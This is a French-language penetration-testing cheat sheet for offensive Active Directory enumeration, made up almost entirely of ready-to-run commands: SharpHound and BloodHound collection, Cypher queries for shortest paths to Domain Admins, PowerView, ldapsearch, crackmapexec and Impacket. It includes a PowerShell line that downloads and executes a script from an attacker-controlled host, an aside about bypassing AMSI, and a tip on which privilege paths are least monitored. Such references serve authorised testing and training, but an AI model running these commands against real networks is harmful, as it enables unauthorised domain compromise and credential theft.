---
title: "Active Directory — Enumération offensive"
domain: security
subdomain: pentest
phase: 03-enumeration
type: snippet
tags: [active-directory, bloodhound, powerview, sharphound, AD, pentest, enum]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## BloodHound / SharpHound

```bash
# Collecte depuis une machine Windows jointe au domaine
# SharpHound.exe (méthode recommandée)
SharpHound.exe -c All --zipfilename loot.zip
SharpHound.exe -c DCOnly          # DC seulement, discret
SharpHound.exe -c All,GPOLocalGroup --loop --loopduration 02:00:00

# BloodHound.py (depuis Linux, sans être joint au domaine)
bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All -ns {{TARGET_IP}}
bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All --zip

# Lancer BloodHound
neo4j console &
bloodhound &
# Importer le zip dans l'interface
```

### Requêtes Cypher utiles (onglet Raw Query)

```cypher
-- Trouver le chemin le plus court vers Domain Admins
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))
RETURN p

-- Tous les utilisateurs avec droits DCSync
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)
RETURN p

-- Machines où Domain Admins sont loggés
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"})
RETURN c.name, u.name

-- Kerberoastable users avec chemin vers DA
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))
RETURN p

-- ASREPRoastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description
```

## PowerView (PowerShell)

```powershell
# Charger (bypass AMSI d'abord si nécessaire)
Import-Module .\PowerView.ps1
# ou
IEX (New-Object Net.WebClient).DownloadString('http://{{LHOST}}/PowerView.ps1')

# Info domaine
Get-Domain
Get-DomainController | select Name, IPAddress
Get-DomainTrust

# Utilisateurs
Get-DomainUser -Properties name,samaccountname,description,memberof,pwdlastset,lastlogon
Get-DomainUser -SPN          # comptes Kerberoastable
Get-DomainUser -PreauthNotRequired  # ASREPRoastable

# Groupes privilégiés
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins" -Recurse
Get-DomainGroupMember "Backup Operators" -Recurse

# Délégations Kerberos (critiques)
Get-DomainComputer -Unconstrained | select name  # délégation non contrainte
Get-DomainComputer -TrustedToAuth | select name   # délégation contrainte
Get-DomainUser -AllowDelegation -AdminCount       # utilisateurs avec délégation

# ACL exploitables
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "{{USER}}"}

# Sessions actives (où sont loggés les admins)
Get-NetLoggedon -ComputerName {{TARGET}}
Get-DomainController | ForEach-Object { Get-NetLoggedon -ComputerName $_.Name }
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"  # cherche les sessions DA

# GPO
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainGPOLocalGroup  # GPO qui ajoutent des utilisateurs aux admins locaux

# Partages réseau
Find-DomainShare -CheckShareAccess   # partages accessibles
Find-InterestingFile -Path \\{{TARGET}}\share -Include *.txt,*.xml,*.config,*.ps1
```

## Enum4linux / LDAPSearch

```bash
# enum4linux-ng
enum4linux-ng -A -R {{TARGET_IP}} | tee enum4linux.txt

# ldapsearch
ldapsearch -x -H ldap://{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}} \
  -b "DC=corp,DC=lan" "(objectClass=user)" sAMAccountName description memberOf

# Tous les groupes
ldapsearch -x -H ldap://{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}} \
  -b "DC=corp,DC=lan" "(objectClass=group)" cn member

# Comptes avec SPN (Kerberoastable)
ldapsearch -x -H ldap://{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}} \
  -b "DC=corp,DC=lan" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
```

## Impacket — Enumération sans être joint au domaine

```bash
# Info SMB
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}}
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --shares
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --users
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --groups
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --loggedon-users
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --pass-pol

# GetADUsers
GetADUsers.py -all {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{TARGET_IP}}

# Lister les partages et contenu
smbclient -L //{{TARGET_IP}} -U {{TARGET_DOMAIN}}/{{USER}}%{{PASSWORD}}
smbclient //{{TARGET_IP}}/share -U {{TARGET_DOMAIN}}/{{USER}}%{{PASSWORD}}
```

<Tip>
Après collecte BloodHound, commencer par "Find All Domain Admins" et "Find Shortest Paths to Domain Admins". Les chemins via "GenericAll", "WriteDACL", "WriteOwner" ou "ForceChangePassword" sont souvent les plus exploitables et les moins surveillés.
</Tip>
